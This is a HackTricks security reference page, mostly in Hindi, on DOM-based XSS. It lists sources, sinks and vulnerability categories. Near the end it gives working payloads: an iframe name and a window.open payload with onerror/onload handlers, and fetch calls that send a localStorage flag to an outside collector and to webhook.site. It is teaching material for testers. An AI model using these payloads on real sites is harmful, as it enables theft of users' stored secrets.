DOM XSS
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
DOM कमजोरियाँ
DOM कमजोरियाँ तब होती हैं जब attacker-controlled sources (जैसे location.search, document.referrer, या document.cookie) का डेटा असुरक्षित तरीके से sinks तक पहुँचता है। Sinks वे functions या objects हैं (उदा., eval(), document.body.innerHTML) जो malicious data मिलने पर हानिकारक content को execute या render कर सकते हैं।
- Sources वे inputs हैं जिन्हें attackers manipulate कर सकते हैं, जिनमें URLs, cookies, और web messages शामिल हैं।
- Sinks संभावित रूप से खतरनाक endpoints हैं जहाँ malicious data से adverse effects हो सकते हैं, जैसे script execution।
जोखिम तब उत्पन्न होता है जब data बिना proper validation या sanitation के source से sink तक flow करता है, जिससे XSS जैसे attacks संभव हो जाते हैं।
Tip
sources और sinks की अधिक अपडेट की गई सूची आप यहाँ पा सकते हैं https://github.com/wisec/domxsswiki/wiki
सामान्य sources:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
सामान्य Sinks:
| Open Redirect | Javascript Injection | DOM-data manipulation | jQuery |
|---|---|---|---|
location | eval() | scriptElement.src | add() |
location.host | Function() constructor | scriptElement.text | after() |
location.hostname | setTimeout() | scriptElement.textContent | append() |
location.href | setInterval() | scriptElement.innerText | animate() |
location.pathname | setImmediate() | someDOMElement.setAttribute() | insertAfter() |
location.search | execCommand() | someDOMElement.search | insertBefore() |
location.protocol | execScript() | someDOMElement.text | before() |
location.assign() | msSetImmediate() | someDOMElement.textContent | html() |
location.replace() | range.createContextualFragment() | someDOMElement.innerText | prepend() |
open() | crypto.generateCRMFRequest() | someDOMElement.outerText | replaceAll() |
domElem.srcdoc | ``Local file-path manipulation | someDOMElement.value | replaceWith() |
XMLHttpRequest.open() | FileReader.readAsArrayBuffer() | someDOMElement.name | wrap() |
XMLHttpRequest.send() | FileReader.readAsBinaryString() | someDOMElement.target | wrapInner() |
jQuery.ajax() | FileReader.readAsDataURL() | someDOMElement.method | wrapAll() |
$.ajax() | FileReader.readAsText() | someDOMElement.type | has() |
| ``Ajax request manipulation | FileReader.readAsFile() | someDOMElement.backgroundImage | constructor() |
XMLHttpRequest.setRequestHeader() | FileReader.root.getFile() | someDOMElement.cssText | init() |
XMLHttpRequest.open() | FileReader.root.getFile() | someDOMElement.codebase | index() |
XMLHttpRequest.send() | Link manipulation | someDOMElement.innerHTML | jQuery.parseHTML() |
jQuery.globalEval() | someDOMElement.href | someDOMElement.outerHTML | $.parseHTML() |
$.globalEval() | someDOMElement.src | someDOMElement.insertAdjacentHTML | Client-side JSON injection |
| ``HTML5-storage manipulation | someDOMElement.action | someDOMElement.onevent | JSON.parse() |
sessionStorage.setItem() | XPath injection | document.write() | jQuery.parseJSON() |
localStorage.setItem() | document.evaluate() | document.writeln() | $.parseJSON() |
**[**`Denial of Service`**](dom-xss.md#denial-of-service)** | someDOMElement.evaluate() | document.title | ``Cookie manipulation |
requestFileSystem() | ``Document-domain manipulation | document.implementation.createHTMLDocument() | document.cookie |
RegExp() | document.domain | history.pushState() | WebSocket-URL poisoning |
| Client-Side SQl injection | Web-message manipulation | history.replaceState() | WebSocket |
executeSql() | postMessage() | `` | `` |
The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.
आवरण के रूप में, इस तरह का XSS शायद सीखने में सबसे कठिन होता है, क्योंकि आपको JS code के अंदर देखना होगा, यह जांचना होगा कि क्या यह किसी ऐसे object का उपयोग कर रहा है जिसका value आप नियंत्रित करते हैं, और उस स्थिति में यह देखना होगा कि क्या इसे arbitrary JS execute करने के लिए किसी तरह दुरुपयोग किया जा सकता है।
इन्हें खोजने के लिए उपकरण
- https://github.com/mozilla/eslint-plugin-no-unsanitized
- ब्राउज़र एक्सटेंशन जो किसी संभावित sink तक पहुँचने वाले हर डेटा की जाँच करता है: https://github.com/kevin-mizu/domloggerpp
उदाहरण
Open Redirect
From: https://portswigger.net/web-security/dom-based/open-redirection
Open redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.
यह समझना महत्वपूर्ण है कि arbitrary code को execute कर पाना, जैसे javascript:alert(1), संभव है यदि आपके पास उस URL के शुरुआत पर नियंत्रण है जहाँ redirection होता है।
Sinks:
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
Cookie manipulation
From: https://portswigger.net/web-security/dom-based/cookie-manipulation
DOM-based cookie-manipulation vulnerabilities तब होती हैं जब एक script किसी डेटा को, जिसे एक attacker नियंत्रित कर सकता है, cookie के value में शामिल कर देता है। यह vulnerability उस webpage का अप्रत्याशित व्यवहार पैदा कर सकती है अगर cookie को site के भीतर उपयोग किया जाता है। इसके अलावा, अगर cookie user sessions को ट्रैक करने में शामिल है तो इसे session fixation attack करने के लिए exploit किया जा सकता है। इस vulnerability से जुड़ा मुख्य sink है:
Sinks:
document.cookie
JavaScript Injection
स्रोत: https://portswigger.net/web-security/dom-based/javascript-injection
DOM-based JavaScript injection vulnerabilities तब उत्पन्न होते हैं जब एक script ऐसे डेटा को, जिसे एक attacker नियंत्रित कर सकता है, JavaScript code के रूप में चलाता है।
Sinks:
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
Document-domain manipulation
स्रोत: https://portswigger.net/web-security/dom-based/document-domain-manipulation
Document-domain manipulation vulnerabilities तब होती हैं जब कोई स्क्रिप्ट document.domain property को ऐसे डेटा से सेट करती है जिसे एक attacker नियंत्रित कर सकता है।
document.domain property ब्राउज़रों द्वारा same-origin policy के enforcement में एक key role निभाती है। जब अलग-अलग origins की दो pages अपना document.domain एक same value पर सेट करती हैं, तो वे बिना प्रतिबंध के परस्पर क्रिया कर सकती हैं। हालाँकि ब्राउज़र document.domain को असाइन किए जाने वाले मानों पर कुछ limits लगाते हैं, जिससे वास्तविक page origin से पूरी तरह असंबंधित मान असाइन करना रोका जाता है, पर कुछ अपवाद मौजूद हैं। आम तौर पर, ब्राउज़र child या parent domains के उपयोग की अनुमति देते हैं।
Sinks:
document.domain
WebSocket-URL poisoning
From: [https://portswigger.net/web-security/dom-based/websocket-url-poisoning]
WebSocket-URL poisoning तब होता है जब एक स्क्रिप्ट WebSocket कनेक्शन के लिए लक्ष्य URL के रूप में नियंत्रणयोग्य डेटा का उपयोग करती है।
Sinks:
The WebSocket constructor WebSocket-URL poisoning से जुड़ी कमजोरियों का कारण बन सकता है।
Link manipulation
From: [https://portswigger.net/web-security/dom-based/link-manipulation]
DOM-based link-manipulation vulnerabilities तब उत्पन्न होती हैं जब एक स्क्रिप्ट वर्तमान पृष्ठ के भीतर किसी navigation target पर attacker-controllable data लिखती है, जैसे कि एक क्लिक करने योग्य लिंक या एक फॉर्म की submission URL।
Sinks:
someDOMElement.href
someDOMElement.src
someDOMElement.action
Ajax request manipulation
स्रोत: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation
Ajax request manipulation vulnerabilities तब उत्पन्न होते हैं जब कोई स्क्रिप्ट attacker-controllable data into an Ajax request लिखती है, जो XmlHttpRequest ऑब्जेक्ट का उपयोग करके जारी की गई होती है।
Sinks:
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
Local file-path manipulation
From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation
Local file-path manipulation vulnerabilities तब उत्पन्न होती हैं जब कोई script attacker-controllable data to a file-handling API को filename parameter के रूप में पास करता है। यह vulnerability एक attacker द्वारा exploit की जा सकती है ताकि एक URL तैयार किया जा सके जो, यदि किसी अन्य उपयोगकर्ता द्वारा visit किया जाए, तो इससे उपयोगकर्ता का ब्राउज़र किसी भी मनमाना स्थानीय फ़ाइल को खोलने या उस पर लिखने का कारण बन सकता है।
Sinks:
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
Client-Side SQl injection
स्रोत: https://portswigger.net/web-security/dom-based/client-side-sql-injection
Client-side SQL-injection vulnerabilities तब होती हैं जब एक script असुरक्षित तरीके से attacker-controllable data को client-side SQL query में शामिल कर देता है।
Sinks:
executeSql()
HTML5-storage manipulation
From: https://portswigger.net/web-security/dom-based/html5-storage-manipulation
HTML5-storage manipulation vulnerabilities तब उत्पन्न होती हैं जब कोई स्क्रिप्ट वेब ब्राउज़र के HTML5 स्टोरेज (localStorage या sessionStorage) में हमलावर द्वारा नियंत्रित डेटा स्टोर करती है। हालाँकि यह क्रिया स्वाभाविक रूप से कोई सुरक्षा भेद्यता नहीं है, यह तब समस्या बन जाती है जब एप्लिकेशन बाद में स्टोर किए गए डेटा को पढ़ता है और उसे असुरक्षित रूप से प्रोसेस करता है। यह हमलावर को स्टोरेज मैकेनिज्म का लाभ उठाकर अन्य DOM-based attacks करने की अनुमति दे सकता है, जैसे cross-site scripting और JavaScript injection।
Sinks:
sessionStorage.setItem()
localStorage.setItem()
XPath injection
स्रोत: https://portswigger.net/web-security/dom-based/client-side-xpath-injection
DOM-based XPath-injection vulnerabilities तब होती हैं जब कोई script किसी XPath query में attacker-controllable data शामिल कर लेता है।
Sinks:
document.evaluate()
someDOMElement.evaluate()
Client-side JSON injection
From: https://portswigger.net/web-security/dom-based/client-side-json-injection
DOM-based JSON-injection vulnerabilities तब होती हैं जब एक स्क्रिप्ट शामिल करती है attacker-controllable डेटा को एक string में जिसे JSON data structure के रूप में parsed किया जाता है और फिर application द्वारा processed किया जाता है।
Sinks:
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
Web-message manipulation
स्रोत: https://portswigger.net/web-security/dom-based/web-message-manipulation
Web-message vulnerabilities तब उत्पन्न होती हैं जब कोई script ब्राउज़र के भीतर किसी अन्य document को एक web message के रूप में हमलावर-नियंत्रित डेटा भेजता है। Web-message manipulation का एक उदाहरण PortSwigger’s Web Security Academy पर पाया जा सकता है: PortSwigger’s Web Security Academy.
Sinks:
The postMessage() method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.
DOM-data manipulation
स्रोत: https://portswigger.net/web-security/dom-based/dom-data-manipulation
DOM-data manipulation vulnerabilities तब उत्पन्न होती हैं जब कोई script DOM के किसी field में हमलावर-नियंत्रित डेटा लिखता है जो visible UI या client-side logic में उपयोग होता है। इस vulnerability का फायदा उठाकर एक attacker ऐसा URL बना सकता है जिसे किसी अन्य user द्वारा visit करने पर client-side UI की appearance या व्यवहार बदल सकते हैं।
Sinks:
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
Denial of Service
From: https://portswigger.net/web-security/dom-based/denial-of-service
DOM-based denial-of-service vulnerabilities तब होते हैं जब कोई script attacker-controllable data unsafely to a problematic platform API पास करता है। इसमें उन APIs को शामिल किया जाता है जो कॉल किए जाने पर उपयोगकर्ता के कंप्यूटर को excessive amounts of CPU or disk space उपयोग करने पर मजबूर कर सकते हैं। इस तरह की vulnerabilities के महत्वपूर्ण दुष्प्रभाव हो सकते हैं, जैसे कि ब्राउज़र वेबसाइट की functionality को सीमित कर देना — उदाहरण के लिए localStorage में डेटा स्टोर करने के प्रयासों को reject करना या व्यस्त scripts को terminate कर देना।
Sinks:
requestFileSystem()
RegExp()
Dom Clobbering
Implicit globals & window.name दुरुपयोग
name को बिना घोषणा (var/let/const) के संदर्भित करने पर यह window.name को हल करता है। चूँकि window.name cross-origin नेविगेशन के दौरान बना रहता है, एक attacker ब्राउज़िंग context का नाम HTML/JS के साथ पहले से भर (pre-seed) सकता है और बाद में victim कोड इसे trusted data के रूप में render करवा सकता है:
- अपने नियंत्रण वाले नामित context में target खोलें/नेविगेट करें:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
- या विशेष रूप से बनाए गए लक्ष्य नाम के साथ
window.openका पुन: उपयोग करें:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")
If the application later does element.innerHTML = name (or similar sink) without sanitization, the attacker-controlled window.name string executes in the target origin, enabling DOM XSS and access to same-origin storage.
Admin/automation flows: pre-seeded storage & javascript: navigation
Automation bots (e.g., Playwright) अक्सर पहले किसी internal पेज पर जाते हैं, localStorage/cookies में secrets सेट करते हैं, और फिर user-supplied URLs पर नेविगेट करते हैं। उस flow में कोई भी DOM XSS primitive (including window.name abuse) seeded secret को exfiltrate कर सकता है:
fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))
यदि bot schemes को प्रतिबंधित नहीं करता है, तो javascript: URL (javascript:fetch(...)) प्रदान करने पर यह वर्तमान origin में बिना नई navigation के निष्पादित होता है, और सीधे storage values को leak कर देता है।
References
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।


